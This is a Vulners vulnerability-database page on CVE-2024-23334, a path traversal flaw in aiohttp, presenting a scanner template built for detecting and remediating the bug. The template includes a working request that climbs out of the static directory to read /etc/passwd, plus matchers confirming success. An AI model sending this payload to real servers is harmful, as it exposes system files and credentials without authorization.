Vulners
Lucene search
aiohttp - Directory Traversal
| Reporter | Title | Published | Views | Family All 113 |
|---|---|---|---|---|
 | Exploit for Path Traversal in Aiohttp | 27 Apr 202413:21 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 19 Mar 202416:28 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 14 Nov 202421:43 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 8 Sep 202410:37 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 9 Dec 202406:51 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 18 Mar 202420:39 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 25 Dec 202412:50 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 20 Oct 202415:28 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 17 Jun 202416:28 | – | githubexploit |
| Exploit for Path Traversal in Aiohttp | 27 Jan 202603:22 | – | githubexploit |
10
id: CVE-2024-23334
info:
name: aiohttp - Directory Traversal
author: DhiyaneshDk
severity: high
description: |
aiohttp is an asynchronous HTTP client/server framework for asyncio and Python. When using aiohttp as a web server and configuring static routes, it is necessary to specify the root path for static files. Additionally, the option 'follow_symlinks' can be used to determine whether to follow symbolic links outside the static root directory. When 'follow_symlinks' is set to True, there is no validation to check if reading a file is within the root directory. This can lead to directory traversal vulnerabilities, resulting in unauthorized access to arbitrary files on the system, even when symlinks are not present. Disabling follow_symlinks and using a reverse proxy are encouraged mitigations. Version 3.9.2 fixes this issue.
impact: |
Unauthenticated attackers can read arbitrary files on the server including sensitive configuration files with credentials and other sensitive data.
remediation: |
Update aiohttp to version 3.9.2 or later, or disable follow_symlinks option.
reference:
- https://lists.fedoraproject.org/archives/list/[email protected]/message/ICUOCFGTB25WUT336BZ4UNYLSZOUVKBD/
- https://lists.fedoraproject.org/archives/list/[email protected]/message/XXWVZIVAYWEBHNRIILZVB3R3SDQNNAA7/
- https://x.com/W01fh4cker/status/1762491210953060827?s=20
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2024-23334
cwe-id: CWE-22
epss-score: 0.76875
epss-percentile: 0.99491
cpe: cpe:2.3:a:aiohttp:aiohttp:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: aiohttp
product: aiohttp
tags: cve,cve2024,aiohttp,lfi,vkev,vuln
http:
- method: GET
path:
- '{{BaseURL}}/static/../../../../etc/passwd'
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:.*:0:0:"
- type: word
part: header
words:
- "aiohttp"
- "application/octet-stream"
condition: and
- type: status
status:
- 200
# digest: 4a0a0047304502210093389ea124e3945b5a6eccf1d820ce572fb548b459b9d6e94c3b05834a15ad9302202bfa5c1698c831eb5cccd0f4ad6ce9184ef21775a47b70509594f2e9ff4aa040:922c64590222798bb761d5b6d8e72950Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Feb 2026 07:00Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.15.9 - 7.5
EPSS0.76875
SSVC